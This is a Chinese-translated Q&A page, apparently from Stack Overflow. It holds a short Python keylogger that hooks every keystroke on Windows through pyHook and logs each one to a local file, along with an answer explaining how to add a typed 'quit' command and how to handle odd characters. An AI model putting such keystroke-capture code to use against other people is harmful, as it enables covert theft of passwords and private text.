0

我正在根据我在网上找到的脚本编写自己的简单键盘记录器。但是,我正在尝试编写一个键命令,以便在键入此命令时关闭记录器程序。我该怎么办?(我也知道它根本不安全,但这不是这个程序的问题)

例如 Ctrl + 'exit' 将关闭程序。

此外,它有时不会在它创建的 .log 文件中正确打印某些字符,这可能是什么原因造成的?(我认为字符编码类型可能会导致这个问题)

#Key Logger
#By: K.B. Carte
#Version 1.0
################

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p        %A %B %d, %Y            ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

这是在 Windows 7 中,顺便说一句。

4

1 回答 1

0

要通过某个命令关闭它,请说“退出”......你想创建一个缓冲区......如果你把所有你登录的东西都保存在一个缓冲区中,你可以很容易地做到

buff += newkeypress
if "quit" in buff[-4:]:
    logfile.close()
    sys.exit(0)

或者您可以使用列表..或其他类型的循环缓冲区执行诸如追加/弹出之类的操作

对于时髦字符,您可能最终只想将整个内容打印为十六进制 .. 或忽略小于 ascii 0 的事件(例如 \b 和其他时髦字符)

或者..创建一个ascii表(字典)并记录键的匹配,所以如果你得到\b你记录'',如果你得到'0'你记录'0'

于 2010-08-09T05:44:44.550 回答